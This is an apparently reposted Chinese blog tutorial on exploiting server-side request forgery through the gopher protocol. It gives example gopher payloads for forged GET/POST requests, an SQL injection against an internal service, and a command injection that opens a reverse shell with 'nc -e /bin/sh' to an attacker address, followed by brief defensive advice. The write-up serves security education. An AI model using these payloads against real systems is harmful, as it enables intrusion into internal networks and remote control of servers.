首页 > 其他分享 >SSRF-gopher 协议扩展利用:突破网络限制的利器

SSRF-gopher 协议扩展利用:突破网络限制的利器

时间:2024-06-11 09:58:34浏览次数:32  
标签:协议 请求 SSRF gopher Gopher 利器 攻击者 com

服务器端请求伪造(SSRF)是一种隐蔽且危险的安全漏洞,它允许攻击者欺骗服务器向其他服务器发送请求,从而访问或控制未经授权的系统。Gopher 协议作为 SSRF 漏洞利用的利器,可以帮助攻击者突破网络限制,实现更高级的攻击目标。

Gopher 协议简介

Gopher 是一种在 HTTP 协议之前非常流行的信息查找系统,虽然现在已经被 HTTP 协议取代,但在 SSRF 漏洞利用中仍然发挥着重要作用。Gopher 协议可以将 HTTP 请求转换为 TCP 数据流,从而突破一些网络限制,例如防火墙。

Gopher 语法演示

Gopher 协议的语法格式如下:

gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流

其中,<host> 是目标服务器的域名或 IP 地址,<port> 是目标服务器的端口,<gopher-path> 是目标服务器的路径,_ 是 Gopher 协议的结束标志,后面接 TCP 数据流。
例如,假设攻击者想要访问目标服务器的 /index.html 页面,可以构造如下 Gopher 协议请求:

gopher://target.com:80/_GET /index.html HTTP/1.1

Gopher 发送 GET/POST 请求

Gopher 协议可以用来发送 GET 或 POST 请求,从而访问目标服务器上的资源或执行操作。
发送 GET 请求
攻击者可以构造如下 Gopher 协议请求,向目标服务器发送 GET 请求:

gopher://target.com:80/_GET /index.html HTTP/1.1
Host: target.com

发送 POST 请求
攻击者可以构造如下 Gopher 协议请求,向目标服务器发送 POST 请求:

gopher://target.com:80/_POST /index.html HTTP/1.1
Host: target.com
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
name=value

Gopher 协议对内网 Web 服务进行 sql 注入

攻击者可以利用 Gopher 协议对内网 Web 服务进行 sql 注入攻击。例如,假设攻击者发现目标内网 Web 服务存在 sql 注入漏洞,可以构造如下 Gopher 协议请求,向目标内网 Web 服务发送 sql 注入请求:

gopher://target.com:80/_GET /login.php?id=1' UNION SELECT 1, user(), database() -- HTTP/1.1
Host: target.com

通过命令注入反弹 shell

攻击者可以利用 Gopher 协议通过命令注入反弹 shell,从而控制目标服务器。
例如,假设攻击者发现目标服务器存在命令注入漏洞,可以构造如下 Gopher 协议请求,向目标服务器发送反弹 shell 请求:

gopher://target.com:80/_POST /cmd.php HTTP/1.1
Host: target.com
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
cmd=nc -e /bin/sh 192.168.1.1 4444

总结

Gopher 协议作为 SSRF 漏洞利用的利器,可以帮助攻击者突破网络限制,实现更高级的攻击目标。为了防止 SSRF-gopher 协议漏洞,需要对用户输入进行严格的校验,并使用安全的编码和解码库。此外,还需要定期进行安全测试,及时发现并修复 SSRF-gopher 协议漏洞。

标签:协议,请求,SSRF,gopher,Gopher,利器,攻击者,com
From: https://blog.csdn.net/weixin_43822401/article/details/139590006

相关文章

  • SSRF 漏洞实践:端口扫描与任意文件读取
    服务器端请求伪造(SSRF)是一种隐蔽且危险的安全漏洞,它允许攻击者欺骗服务器向其他服务器发送请求,从而访问或控制未经授权的系统。本文将通过实践案例,介绍SSRF漏洞在端口扫描和任意文件读取方面的应用,帮助您了解并防范这种漏洞。端口扫描SSRF漏洞可以用来探测目标服务器开......
  • 【算法学习】圆方树——处理仙人掌的利器
    圆方树大概分两种,一个是圆方树,一个是广义圆方树。圆方树这可以解决仙人掌上的问题。任意一条边至多只出现在一条简单回路的无向连通图称为仙人掌。很多题解将其作为无向图构建,本文将其构建为外向树,在这个问题中两种构建方式不会影响求解。构建方式记读入的图为原图,构建的......
  • ASP.NET Core的开发效率利器HotReload(带例子)
    ASP.NETCoreHotReload示例在ASP.NETCore中,HotReload功能使开发者能够在不重新启动应用程序的情况下,动态地应用代码更改。这有助于提高开发效率,因为你可以立即看到代码更改的效果。以下是一个使用HotReload的示例:1.确保环境配置正确确保你已经安装了最新版本的......
  • 探索Linux网络利器:netstat命令
    探索Linux网络利器:netstat命令在Linux系统管理中,了解系统的网络状态是至关重要的。而netstat命令就是这样一个强大的工具,它可以帮助我们查看网络连接、路由表、接口统计等与网络相关的信息。下面,我们将详细探讨如何使用netstat命令以及它的各种选项。1.netstat命令简介n......
  • Rockmongo详解:高效管理MongoDB的图形化利器
    Rockmongo是一个开源的MongoDB管理工具,提供了图形用户界面(GUI),便于用户对MongoDB数据库进行管理和操作。通过Rockmongo,可以直观地浏览和操作MongoDB数据库,适合不熟悉命令行操作的用户。基本语法Rockmongo不涉及特定的编程语法,但它提供了许多GUI功能来执行Mongo......
  • 深入了解 C# Span:高性能内存操作的利器
    深入了解C#Span:高性能内存操作的利器在C#7.2中引入的Span<T>类型为我们提供了一种高效且安全地对内存进行操作的方式。Span<T>是一个轻量级的结构体,用于表示一段连续的内存区域,可以避免不必要的内存分配和拷贝,提高代码的性能和效率。什么是Span?Span<T>是一个用于表......
  • 深入探索Spark MLlib:大数据时代的机器学习利器
    随着大数据技术的迅猛发展,机器学习在各行各业的应用日益广泛。ApacheSpark作为大数据处理的利器,其内置的机器学习库MLlib(MachineLearningLibrary)提供了一套高效、易用的工具,用于处理和分析海量数据。本文将深入探讨SparkMLlib,介绍其核心功能和应用场景,并通过实例展示如何......
  • 网鼎杯 2020 玄武组 SSRFMe
    复习一下常见的redis主从复制主要是redis伪服务器的选择和一些小坑点<?phpfunctioncheck_inner_ip($url){$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if(!$match_result){die('urlfomaterror......
  • 高校运维赛 2024 pyssrf
    没有环境,简单过一遍思路吧考点:pickle反序列化+urllib库注入redis缓存fromflaskimportFlask,requestfromredisimportRedisimporthashlibimportpickleimportbase64importurllibapp=Flask(__name__)redis=Redis(host='127.0.0.1',port=6379)defg......
  • NumPy 通用函数(ufunc):高性能数组运算的利器
    NumPy通用函数(ufunc)简介NumPy通用函数(ufunc),代表“通用函数”,是一类用于对ndarray对象进行逐元素运算的高性能函数。ufunc使NumPy能够在底层高效地利用C语言实现向量化操作,从而显著提高计算速度。优势ufunc的主要优势体现在以下几个方面:向量化操作:ufunc可以对整个......